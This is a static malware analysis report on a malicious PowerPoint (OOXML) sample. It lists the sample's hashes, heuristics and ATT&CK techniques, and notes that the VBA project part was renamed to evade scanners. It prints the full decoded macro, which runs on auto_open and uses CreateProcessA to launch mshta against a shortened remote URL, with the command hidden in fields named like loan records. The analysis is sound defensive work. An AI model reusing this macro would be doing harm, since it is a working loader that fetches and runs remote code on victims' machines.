Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9df84ffcf27d5dea…

MALICIOUS

Office (OOXML)

13.3 KB First seen: 2021-07-02
MD5: 352a2be04c1bde8afc6f1dc778e809f4 SHA-1: b60d5a3595d19d2209c9c3e9039400976139abd4 SHA-256: 9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing a VBA project with a renamed VBA part, indicating an attempt to evade detection. The presence of an Auto_Open macro and a call to the Shell execution function strongly suggests the execution of malicious code. The VBA code references a LOLBin, which is commonly used to download and execute further payloads.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/asjdaaasdasdsdaasdsdasasdasasdasasddaasdasdsasdsasdjasddasdoasjdasasddoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    For i = 1 To 3
    arraymain(i).barcode = "mshta "
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub auto_open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2943 bytes
SHA-256: 2eaad24bbd7e43554c8a9265069637820970a0bb6923dfbf93b683c8a0dd2611
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public date_borrowed As String
Public date_due As String
Public barcode As String



Attribute VB_Name = "Module1"
Sub auto_open()

Dim obj As New Class11

obj.Procedurecall

End Sub





Attribute VB_Name = "Class2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Private Type moneESS_CALL
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type SYS_BREA
hmoneess As Long
hThread As Long
dwmoneessID As Long
dwThreadID As Long
End Type

Private Declare Function CreateProcessA Lib "kernel32" (ByVal _
lpApplicationName As Long, ByVal lpCommandLine As String, ByVal _
lpmoneessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, _
lpmoneESS_CALL As moneESS_CALL, lpmoneessInformation As _
SYS_BREA) As Long



Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&



Public Sub SUSSYBAKA(cmdline As String)
Dim mone As SYS_BREA
Dim hone As moneESS_CALL
Dim ReturnValue As Integer

' Initialize the moneESS_CALL structure:
hone.cb = Len(hone)

' hone the shelled application:
ReturnValue = CreateProcessA(0&, cmdline$, 0&, 0&, 1&, _
NORMAL_PRIORITY_CLASS, 0&, 0&, hone, mone)


End Sub



Attribute VB_Name = "Class11"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public boba As String
Public boba2 As String
Public boba3 As String

Public Sub Procedurecall()

Dim arraymain(1 To 3) As New Class1
For i = 1 To 3
arraymain(i).barcode = "mshta "

arraymain(i).date_borrowed = "https://www."

arraymain(i).date_due = "bitly.com/asdjdwdjwijdipwdwdiahsidh"

boba = arraymain(i).barcode
bob2 = arraymain(i).date_borrowed
bob3 = arraymain(i).date_due

Next i

Dim obj As New Class2
obj.SUSSYBAKA (boba + bob2 + bob3)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/asjdaaasdasdsdaasdsdasasdasasdasasddaasdasdsasdsasdjasddasdoasjdasasddoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin 29184 bytes
SHA-256: 90c55f9280914e2ee2d6f8ea1ae117bb8e2f21827766471b815c072506190aff